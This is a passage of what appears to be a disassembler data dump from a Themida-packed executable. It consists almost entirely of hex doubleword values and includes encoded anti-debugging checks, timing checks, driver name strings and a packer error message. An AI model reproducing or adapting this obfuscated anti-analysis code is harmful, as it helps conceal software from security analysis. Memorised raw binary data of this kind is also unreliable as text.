91B8520Ch dd 3061773h, 86E0FFC5h, 2617FDC7h, 0D271932Dh, 0E7551039h dd 0D615088h, 94358583h, 8099DD4h, 0AB4D467Dh, 60188AFAh dd 5A21613Ah, 0EF0EA303h, 0B045ABE8h, 0DF2A4E16h db 96h, 3Ch, 63h byte_580023 db 0Ch ; DATA XREF: Themida_:005497E8o ; Themida_:00549FECo ... dd 0D725E07Ah, 0BD7C470Ah, 882E10E3h, 8D1719D8h, 3050285Ch dd 7B2DDCF0h, 6502BFB2h, 823EA5AFh db 0CAh, 0A1h word_580046 dw 6302h ; DATA XREF: ___:off_43285Co ; ___:00432864o ... dd 0D672D11Ch, 0C9351654h, 0E8490032h, 13h, 48B9D9BDh dd 0EEFB0571h, 878BF83Fh, 67CE04B3h, 0FB86EC8h, 605ED8BFh dd 0DE9h, 2B881B00h, 1CBCFAD2h, 312F67FBh, 0CAB099FAh dd 0F8C68161h, 8B000067h, 80D22BC7h, 34FF4AEFh, 0BBB6632h dd 0F98B59E5h, 15ADF181h, 0E981487Ch, 7654868h, 0E091E981h dd 0F5120AAh, 1485h, 0FE900h, 56DF0000h, 5274739Eh, 6EA2B22Fh dd 0E2019892h, 16048F82h, 0DA8B3FB7h, 0F01EA83h, 4A4AC7BFh dd 0EF81664Ah, 0FA816E21h, 0FFFF98D4h, 22850Fh, 80600000h dd 9E985CDh, 94000000h, 95C06F41h, 0F67B0BCBh, 26E961h dd 0E0310000h, 23319673h, 337B3676h, 44DB8166h, 0FF7CE933h dd 9CB4FFFFh, 444528A2h, 59268F03h, 36A2EAE2h, 0BEC6C8CFh dd 13E8h, 0AAA73800h, 6E89A91Eh, 841976Fh, 30F36C4Eh, 36656761h dd 5031CF81h, 0F5E0CE9h, 0C84h, 68F0F00h, 81000000h, 1D99DAC0h dd 1DC68160h, 52000067h, 0E81BB660h, 0Dh, 0EC737686h, 3ECB12B0h dd 0F8CA4C0Bh, 586158ECh, 199F68h, 168B5900h, 0F2812CB3h dd 61E576F9h, 5E9h, 0E7C47700h, 0EA81BDDFh, 3931094h, 0C281FB8Bh dd 1764B1C4h, 8E9h, 90082300h, 277CFB03h, 661689B1h, 0EE81D88Bh dd 47D6D6A8h, 5881BE60h, 0D98B51C8h, 0A4C68161h, 8347D6D6h dd 850F01E9h, 0FFFFFFAEh, 34EBDF8Bh, 4D534649h, 20205247h dd 20444B56h, 20202020h, 204D4D56h, 20202020h, 4E495756h dd 20203233h, 4C445856h, 20205244h, 3 dup(0) dd 611E9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 25E73AEDh, 6A60662Dh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 8A2DC355h dd 947AE338h, 0C7F8F00Fh, 17761D85h, 6, 0BB666000h, 0F78175B1h dd 412A1A6Fh, 0F5C68B61h, 0FD8B70Fh, 1484h, 0E860F00h dd 0E9000000h, 9, 0CD94700Fh, 7DDA899Dh, 10E8C1B4h, 18D0Fh dd 0E9F50000h, 0Eh, 5841C7EAh, 5FD20EEFh, 0C1D52720h, 0C166406Fh dd 6A08C8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 85893AC3h, 6177621h, 0CBC166F5h, 91B56008h dd 0BE8h, 0A54F4700h, 41C3D0F7h, 59BC8DBCh, 840F6159h dd 1, 40FB83F8h, 30850Fh, 8DF50000h, 1775F5BDh, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 0F190454h, 0FCFBC6AFh, 180E9h, 0FB83F800h, 25850F0Dh dd 60000000h, 66D1BF0Fh, 63E4CB81h, 0FDBD8D61h, 0F5061775h dd 160E9h, 0AE900h, 0ED200000h, 9F26BD7Dh, 0FAEE3C0Dh dd 0F01FB83h, 8F85h, 0BE900h, 837B0000h, 909B1A65h, 0B2E741DCh dd 0B70F60EAh, 8D61F8CBh, 177605BDh, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 5C1E6734h dd 0ADF95D65h, 2E9E724h, 6A000001h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 4009C355h dd 71AB77DDh, 3BBB6660h, 2850F4Bh, 53000000h, 8D0F615Fh dd 14h, 0FE9h, 891BD700h, 38BA3E98h, 0B530C7B3h, 0B6B160A8h dd 0F2AFB83h, 5A85h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 66602E31h, 60FA6EBAh dd 5E96160h, 95000000h, 7575B66Bh, 0BD8D6161h, 617760Dh dd 0CE9h, 960C7000h, 0FD1E1624h, 5C755762h, 63E98Ah, 8E90000h dd 0C5000000h, 7DCAE7Fh, 83E6541Ch, 850F27FBh, 224h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 24C35646h, 0B112C6E4h dd 15BD8DF5h, 6A061776h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 60CEC350h, 61E3B1FCh dd 0F9FB8B60h, 25BD8961h, 60061776h, 66926BB8h, 0C7816606h dd 66616FAFh, 0E960C88Ch, 0Eh, 427D973h, 0AD7873C2h, 98A0E8EDh dd 24614F9Fh, 0C00AF803h, 103850Fh, 890F0000h, 8, 2850Fh dd 61600000h, 7B4DB58Dh, 8BFC0617h, 177BCD85h, 0F50F906h dd 0A81h, 5E900h, 85220000h, 897F929Fh, 6A2414h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 919B61C3h, 18C0Fh, 0F9FC0000h, 244C010Fh, 5870FFEh dd 60000000h, 61F85F57h, 57006A5Ah, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1604h, 0C3574700h, 83E4C6DEh, 0FC6024C2h dd 1840Fh, 61F90000h, 0FC728966h, 0CE9h, 4655B500h, 0E33EF3B2h dd 5412BB20h, 10CEC1CCh, 1B8D0Fh, 0E8600000h, 0Dh, 8DA67D2Ch dd 0FFB9F68Eh, 0F1FBA6C3h, 0E7815F20h, 26797630h, 72896661h dd 4CDF502h, 14E9h, 96D75F00h, 1376664Dh, 23A279CBh, 5EF55E99h dd 0B300D7B9h, 98E92Fh, 0EE90000h, 6A000000h, 17482FA8h dd 19BEA893h, 8C968471h, 0CD858B8Eh, 6A06177Bh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 0D5DC352h, 32AF7B82h, 0B58DE2F4h, 6177B4Dh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 39C35040h, 3C51AD54h dd 0CE3709F2h, 12858DF9h, 6A06174Ch, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 7F13C352h dd 604B1CECh, 9048D281h, 0FF6174ECh, 8589F5D0h, 617761Dh dd 8E960h, 92E10000h, 25326681h, 0B966C7CAh, 0FC616809h dd 0FE961h, 2E00000h, 589C2A82h, 797BA4C0h, 91DAF572h dd 0E9566054h, 0Bh, 0AC148B27h, 0BC5EEEF8h, 5A76EE00h dd 5E58BB66h, 1D858B61h, 6A061776h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0F01C352h dd 18Ah, 8C0FFC00h, 17h, 12E9h, 0D93EA00h, 0D217F168h dd 0FE4C5F0Eh, 98504F4Ch, 0C34E382Fh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 33C35242h, 0B9C5ED78h, 0E83AC46Ch dd 12E937h, 2D7D0000h, 0FC2A62AEh, 6AF8B8B7h, 78B68491h dd 5A40A16h, 53006A60h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1B04h, 0C3534300h, 25D687F8h, 0F94FEBD6h, 0CDBD83FCh dd 6177Bh, 31850Fh, 12E90000h, 0A8000000h, 827E8878h, 0C78155CEh dd 7D4815FEh, 0FAB15CAAh, 0CD85C719h, 3F06177Bh, 0F000101h dd 0A85h, 5E900h, 7D180000h, 0E99A6E7Ah, 16h, 11E9h, 605F1200h dd 9254BCEh, 2811C860h, 26DF8A2Ah, 20CDD029h, 0 dd 3774C00Bh, 8B0C708Dh, 177625BDh, 8B906h, 75A60000h dd 0FA754922h, 8B30488Bh, 1776219Dh, 34583B06h, 0D38B157Fh dd 304D26Bh, 89018BCAh, 17761D85h, 8B04EB06h, 61C5EB00h dd 761D858Bh, 0E9CF0617h, 6, 4DF6FACCh, 6AFA46h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 9B88EBC3h, 0C08BF86Eh, 83E9h, 52515300h, 5C8B5756h dd 81661C24h, 0F5A4D3Bh, 6885h, 43B70F00h, 66D8033Ch, 45503B81h dd 57850Fh, 5B8B0000h, 245C0378h, 24738B1Ch, 1C247403h dd 207B8B56h, 31C738Bh, 320247Ch, 0FC202474h, 41FFC983h dd 1C245C8Bh, 5403178Bh, 0C7832024h, 84028A04h, 3A0874C0h dd 43E87503h, 3AF2EB42h, 5FE07503h, 0B70FE1D1h, 48B0F04h dd 24440386h, 5A5E5F1Ch, 8C25B59h, 0E9C03300h, 0FFFFFFF1h dd 0E9CA8Bh, 4, 33000000h, 69206E41h, 7265746Eh, 206C616Eh dd 65637865h, 6F697470h, 636F206Eh, 65727563h, 41282064h dd 65726464h, 203A7373h, 78257830h, 500D0A29h, 7361656Ch dd 63202C65h, 61746E6Fh, 73207463h, 6F707075h, 6F407472h dd 6E616572h, 6F632E73h, 54202E6Dh, 6B6E6168h, 756F7920h dd 21h, 0E3h dup(0) dd 56000000h, 45000000h, 0 dd 0E9000000h, 1172h, 9959D09h, 858B0614h, 6143481h, 0BC18589h dd 44390614h, 850F0424h, 0D4h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 1AC35646h, 6BD0AF09h, 27F4963h dd 0A19529B7h, 60061425h, 61F08B66h, 14CDBD83h, 0F000614h dd 9784h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 0E9203F66h, 0Eh, 0E7368A6Bh, 7BD3E0D1h dd 406561FEh, 51609319h, 958B5BF9h, 61425E1h, 13858D61h dd 0F06143Bh, 680h, 0ED9D8900h, 60061424h, 80F0B70Fh, 0FF6162EBh dd 53006AE0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 1D880FF1h, 60000000h, 10E9h, 865CD100h dd 9D3E0532h, 0CAFB617Ch, 0B71A89DDh, 39B58BF6h, 6106140Dh dd 931858Bh, 6A0614h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 140424h, 57470000h, 8960ECC3h, 1416D195h, 85296006h dd 61402E9h, 8E96161h, 0B5000000h, 0D2DF96A9h, 397A5886h dd 0F042444h, 3585h, 18B0F00h, 0F9000000h, 80CC85C7h, 10617h dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 2FDF89C3h, 65F6C299h, 6A60DD5Fh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 8933C357h, 8B5C4480h, 14E92Bh, 3FF90000h, 0DDBF1B5Dh dd 0AF277AECh, 0D3AC9D2Eh, 2CE70B87h, 0E9F8EA72h, 1Eh dd 6840F60h, 89000000h, 14045985h, 0E1816606h, 0F61B149h dd 188h, 0F900h, 1B80000h, 87000000h, 17829F85h, 75C00B06h dd 59B5FFF6h, 8F06141Ah, 1780C485h, 6A206A06h, 2595FFFFh dd 83061435h, 142C45BDh, 8740006h, 95FF006Ah, 6141169h dd 3D9BD83h, 74010614h, 80680Dh, 0FF6A0000h, 352595FFh dd 6A0614h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h dd 57470000h, 804C49C3h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 0D2C35747h, 0B8F87Eh, 9000000h, 141C59BDh dd 24548B06h, 56006A28h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1704h, 0C3564600h, 0CE04484h, 13820Fh, 0EE90000h, 9B000000h dd 0ED25A749h, 3E769B30h, 0B4A0F488h, 0ADBD89E1h, 89061419h dd 1402F585h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h, 29992951h, 14266D8Dh, 3CBE06h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 0FB583DC3h, 831238B3h, 0E95B6032h, 6, 0E889CB83h, 0BE96ABCh dd 48000000h, 31CC96C4h, 0FFFCB219h, 74036A2Ch, 66F52424h dd 0E19D89ADh, 306140Eh, 60242444h, 3897C681h, 8D8B6B8Fh dd 6143195h, 840F5061h, 17h, 0F525060h, 0E9585A31h, 0Ah dd 0F7023F78h, 40253057h, 896126D9h, 6A2404h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 20698EC3h dd 11A38CC1h, 8BF815B1h, 83F87840h, 1780CCBDh, 850F0006h dd 132h, 820F90F8h, 19h, 840F5250h, 0 dd 8E9310Fh, 0C000000h, 6DC96EBBh, 5A2265DBh, 850F5058h dd 18h, 11E960h, 0A6540000h, 0EFC6AB36h, 0AE296CECh, 496487E6h dd 610C927Ah, 50006A90h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1D04h, 0C3504000h, 0B75D83F3h, 0F81B4893h, 0BD892DF7h dd 61404D1h, 313DB529h, 0FE90614h, 82000000h, 3107F7B2h dd 86355042h, 0A9B8BE39h, 448B92D3h, 8D092C24h, 61406B5h dd 0EE9h, 8DE8400h, 68C1E445h, 5BEC4CD5h, 503ADDD5h, 4810Fh dd 0B2600000h, 489611Ch, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 0E1A0E7CFh, 6E9C3C1h dd 0E5000000h, 6F0CF781h, 359D0925h, 8D06140Ch, 1752AB85h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 0FF110717h, 51006AD0h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 0EA052693h dd 0FF89D6Bh, 180h, 4403F500h, 6A2824h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 160424h, 55450000h, 3C93EBC3h dd 0BE9h, 0CA262E00h, 0A72E599Ah, 8CA7C70h, 6A18408Bh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 0F5B9C352h, 8D8FBDFh, 6A400Fh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0F6EABEC3h dd 0D60FCAFDh, 0FD9D29DDh, 8906142Ah, 1780C885h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 0C9B52948h, 89061412h, 1422118Dh, 85095806h, 6140FA5h dd 8978708Bh, 142EAD95h, 1CC68306h, 6A96F5h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0D15AFAC3h dd 8B3CBFDh, 81F58D80h, 24247Ch, 0F100000h, 0F087h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 9800E8Dh, 1403298Dh, 52509006h, 4EBE6660h, 310F61EFh dd 7E9h, 0DF8ED400h, 8815C9Ah, 6050585Ah, 8B665250h, 50310FF7h dd 5A310F52h, 57585A58h, 7E8h, 27789D00h, 8D7B58BDh, 90615959h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 5AC35545h dd 0C33E53B4h, 9DB58917h, 8B06140Fh, 31282444h, 141C7195h dd 830F9006h, 9, 0BA616060h, 70DF0404h, 66605061h, 0E8B1DCB9h dd 0Eh, 61F503CAh, 123514B2h, 9097385Eh, 6160D458h, 6A906158h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 1A13C355h, 71046CF9h, 8DFC0689h, 1752AB85h dd 8B666006h, 0D0FF61D1h, 3F596F5h, 6A242474h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 59CBC355h, 0F186BD9Dh, 16C59D89h, 0BD8D0614h, 61418F1h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 33C35646h dd 188F0Fh, 13E90000h, 9B000000h, 91FF1754h, 2A928047h dd 0A672B00Ch, 3EE6A774h, 6AAD4E78h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 7F2DC350h dd 3A087D06h, 81756AF4h, 24247Ch, 0F100000h, 0D287h, 6D8D8900h dd 9006141Ah, 12BB6660h, 0F506168h, 1A86h, 11E96000h, 0CD000000h dd 679BDFD5h, 86D45A8Fh, 0A2CE597Ah, 1535A932h, 9061FB8Bh dd 9099D31h, 448B0614h, 6A2824h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 50400000h, 2C6EF4C3h, 0E891062Bh dd 860F0254h, 6, 20FD9509h, 0E9900614h, 0Eh, 65F96500h dd 0E8EB1968h, 915C0A3Eh, 0F500266h, 0E8Dh, 50525000h dd 5A310F52h, 60310F58h, 90585A61h, 30F98531h, 858D0614h dd 61752ABh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 4AC35545h, 0FCC61C7h, 687h, 39958900h, 0FF06140Eh dd 118589D0h, 3061417h, 6A242444h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 911C353h dd 141A5DB5h, 95950906h, 0F06140Bh, 1984h, 0BB666000h dd 0EE9074Dh, 3000000h, 0AC0A2EB2h, 953D8496h, 967AD5A6h dd 0E9AB616Ah, 0Ch, 0E7604EB4h, 75612EEBh, 9A5281C6h, 0FA81h dd 820F0001h, 764h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 0F3C35747h, 0F11854CEh, 8B606C27h, 140F71BDh dd 0D9958B06h, 6106140Eh, 9D9BD8Dh, 6A0614h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 8DDFF7C3h dd 5BE270ADh, 6AADFCh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 0BCB760C3h, 6B4BC4ABh, 247C81F8h dd 24h, 0C6870F10h, 0E9000000h, 9, 0FE7CE4EAh, 43BA0BFCh dd 50609042h, 0D08B6652h, 0EE9310Fh, 0C3000000h, 54AC3008h dd 6DFC88B6h, 0F81CDB0h, 66585A27h, 613D25BBh, 0A870F50h dd 0E9000000h, 5, 0DC86DEDAh, 6A90FFh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 8CD0C3h, 49E0A71Eh dd 448BE34Eh, 50F92824h, 6E860h, 0A0650000h, 2D71E0FFh dd 50585E56h, 830F52h, 0F000000h, 0C38B6631h, 8961585Ah dd 870F2404h, 1, 0AB858DFCh, 6A061752h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 892DC356h dd 14253185h, 89D0FF06h, 142E2195h, 24440306h, 0F90F524h dd 128Fh, 0F525000h, 8Eh, 50310F00h, 5A310F52h, 50585A58h dd 3920B960h, 90614DB5h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 14h, 0EBC35242h, 0A99501ABh, 0F906141Ch, 381BD8Dh dd 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 1CAEBFC3h, 615B5360h, 9E9ADh, 0C00000h, 8FFA97C2h dd 8191D5B7h, 28247Ch, 0F100000h, 0DB87h, 8E900h, 974A0000h dd 3704BAB2h, 0F506BE3h, 1286h, 0F525000h, 86h, 0F310F00h dd 86h, 89585A00h, 89602404h, 141C618Dh, 0F9BE6606h, 448B61BCh dd 9D892C24h, 6140F05h, 19958B60h, 0F06142Ch, 681h, 8D0F00h dd 61000000h, 8F0F6090h, 2, 0C68B6160h, 0AE95061h, 0B2000000h dd 0AB8A7EC0h, 493D509Ah, 666090C1h, 8166CA8Bh, 619F38DAh dd 52AB858Dh, 6A0617h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 1FB685C3h, 838CA18Ch, 6860FC4h dd 9000000h, 1426619Dh, 6AD0FF06h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0C59FC351h dd 5E9F893h, 0CB000000h, 4FE862B4h, 28244403h, 1CDB589h dd 0BD310614h, 61421B1h, 0BE9ABh, 21F60000h, 46834684h dd 3E21F040h, 8890F01h, 0F000000h, 288h, 5E616000h, 80C88DFFh dd 0BD830617h, 61780C8h, 330A7500h, 11B58DC0h, 0FF061790h dd 81AD56E6h, 28247Ch, 77100000h, 448B500Eh, 8D502C24h dd 1752AB85h dd 3D0FF06h, 97282444h, 858ADF8Bh, 61780C4h, 474C084h dd 4C75073Ah, 0AEC03257h, 2B5EFD75h, 33FC52FBh, 0D18B49C9h dd 0DB33C033h, 8AC132ACh, 8AEA8ACDh, 6608B6D6h, 0D166EBD1h dd 660973D8h, 66504135h, 5449F381h, 0EB75CEFEh, 0D333C833h dd 0F7D5754Fh, 8BD1F7D2h, 10C0C1C2h, 5AC18B66h, 0F74D03Bh dd 4C6835Eh, 2F585FFh, 5DE90614h, 5EFFFFFFh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 68C35545h, 9BF8AF61h dd 0F4402ABEh, 658D3178h, 6A061415h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 84B2C356h dd 16DC8F19h, 0FBA950A6h, 10E9h, 0BDC5200h, 0DB9D57DAh dd 94751F35h, 343E0AB0h, 0F5858B84h, 0E9061402h, 14h, 8C8EC367h dd 41E4C5E6h, 0A992995Fh, 9C5013D5h, 644A4E7Eh, 6AE0D1h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 6660D6C3h, 2D2D781h, 1AADB58Bh, 60610614h, 0BFC3B70Fh dd 5C07781Eh, 81850361h, 0F061403h, 18Fh, 0F62BF800h, 1BA98509h dd 6A960614h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 0C980C356h, 0E25B53FFh, 1883A64h dd 1429A9B5h, 6AAD6606h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 4B7C351h, 68C0FD2h dd 1000000h, 1409E19Dh, 7D9D0106h, 0C1061406h, 6A02E0h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 251C06C3h, 8A0F3C74h, 10h, 6E960h, 0C1150000h, 888CD8AFh dd 61C9DC80h, 8258589h, 0AE90614h, 24000000h, 3BC5B77Fh dd 598A5450h, 0F18503BEh, 6A061418h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 89B7C356h dd 141D058Dh, 6A9606h, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 0FC60A2C3h, 61C8EF80h, 0F6060ADh dd 8Dh, 5E900h, 4F8B0000h, 6183A299h, 228DB523h, 0F9610614h dd 24247C81h, 10000000h, 131870Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 1CF9EAC3h dd 0EE986h, 48E60000h, 23118594h, 0F476A196h, 7AD9A86h dd 6E86050h, 83000000h, 6A9457BBh, 0F525095h, 5A585A31h dd 8CB35250h, 0F78B310Fh, 8961585Ah, 85892404h, 614067Dh dd 24448BF8h, 56006A28h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1D04h, 0C3564600h, 0DA0BDC52h, 35DB9D57h, 850F751Fh dd 6, 2AA58501h, 8E90614h, 43000000h, 0BBE1DA65h, 50F02C2Dh dd 0EE95250h, 6E000000h, 520E6FAFh, 25BE1C91h, 7CCBE80Eh dd 60310F97h, 5A6154B2h, 24048958h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 89C35343h, 14E9DD67h, 0E8000000h dd 0DA6D8E72h, 0EBEDEE59h, 638B77Ch, 2D7BB8D0h, 0F95AAECh dd 683h, 65BD8900h, 0F5061406h, 52AB858Dh, 6A0617h, 3E850h dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 0A6531CC3h, 6660D40Bh, 61F9D78Bh, 3F9D0FFh, 0E9242444h dd 8, 0DC440032h, 0D221BCB5h, 1C244489h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 19h, 0DEC35343h, 7A5DAC87h dd 0B840F4Eh, 60000000h, 81C2BF0Fh, 0FEB20AE7h, 85C6611Eh dd 6141A59h, 9F85C700h, 61782h, 0C7000000h, 1780CC85h dd 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1504h, 0C3574700h, 0E9F5E8D1h, 9, 0A457CBF1h, 0D50E4830h dd 0FE96192h, 51000000h, 5A68553h, 0D6691C6Ah, 0FA881487h dd 8C23CBAh, 0B60F900h, 1417258Dh, 0A5B58B06h, 61061404h dd 18F1858Bh, 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 0C46E3CC3h, 13B0F3ECh, 68C0F5Dh dd 89000000h, 142A6195h, 8D29F806h, 61403D1h, 0D26BF84Ah dd 0C203F504h, 6A96F9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 2430F0C3h, 29B529F8h, 0AD061409h dd 0DE960h, 750E0000h, 561B6EBDh, 1CEF3682h, 66F0DEBCh dd 993BD681h, 247C8161h, 24h, 0CB870F10h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 0FCCEC350h, 118A0F50h, 0E9000000h, 0Ch, 0B25E8C46h dd 7D447F7Bh, 0B4887ECEh, 89240489h, 1405F98Dh, 24448B06h dd 4D858928h, 0F06141Ch, 68Fh, 0E9B58900h, 50061421h, 13810Fh dd 0EE90000h, 8E000000h, 1E7A8D5Ah, 0E14228F9h, 4705D553h dd 24048974h, 1800Fh, 8DFC0000h, 1752AB85h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 779422F9h, 0F3CD558h, 18Dh, 0D0FFF900h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 8FC35141h, 92EAF28Fh dd 0E8E9209Ch, 6AFFFFFDh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 0CB94C353h, 4F9C4F68h dd 0E971B9A0h, 6, 353DE431h, 858D3E41h, 6179623h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0F9C35040h, 840FC992h dd 1Dh, 800F60h, 0E9000000h, 10h, 28807D4Eh, 3A52E133h dd 0D7DE8DF6h, 3D6B4A8Fh, 810F5061h, 13h, 7E960h, 4A0000h dd 6A8BDD6Ch, 0CBA2B962h, 89617287h, 8C0F2404h, 6, 1A759D89h dd 0FF640614h, 35h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1C04h, 0C3564600h, 0F8B9A9AEh, 249F0775h dd 48BFC89h, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1504h, 0C3534300h, 85898D20h, 6141CB1h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0D8C35545h, 1810F5Ch dd 0F5000000h, 258964h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 0AC38C350h dd 8A0F0B1Ch, 0Ah, 5E9h, 0F4C6EE00h, 8DFC64D6h, 1793AF85h dd 0B5296006h, 6142089h, 608961F9h, 0F8D0F01h, 0E9000000h dd 0Ah, 7A30867Ah, 0F12FA7A3h, 0C0E9210Ch, 60000002h, 89F78B66h dd 1421BDBDh, 85896106h, 6140F19h, 0E8DB8Bh, 5D000000h dd 93A8ED81h, 9CBC0617h, 830012FFh, 1403D9BDh, 18740006h dd 2D01858Bh, 0C60614h, 0F1858B00h, 0C6061434h, 95FF0000h dd 6142EF9h, 0D0B5FF60h, 8D06177Ch, 177CD485h, 858D5006h dd 6177ECCh, 995FF50h, 83061415h, 0E9610CC4h, 0Fh, 7F1C609Dh dd 0C9F0B87Fh, 0BF15DF0Fh, 29C28017h, 140D2D85h, 8800F06h dd 60000000h, 24259D89h, 8D610614h, 177ECCB5h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 0E9A37859h, 12h, 5DBC7121h, 3ABBC88Ah, 0F6BC74A5h, 10CCC7AFh dd 0BD8DF974h, 6141DB5h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 0F6C35646h, 77442952h, 56BCD408h, 9E9ADh dd 342E0000h, 0BCD0CA34h, 80733332h, 840F003Eh, 23h, 6850Fh dd 95890000h, 61400E5h, 0DBD31A4h, 0E906142Eh, 0FFFFFFDFh dd 1D852B60h, 66061420h, 0B861C68Bh, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 3EC35242h dd 0B711B155h, 362BBC37h, 898D09E6h, 0AA06140Ch, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 66C35343h, 0F9955E39h dd 827BB7B5h, 0C8D0Fh, 800F0000h, 6, 309DBD89h, 7B80614h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 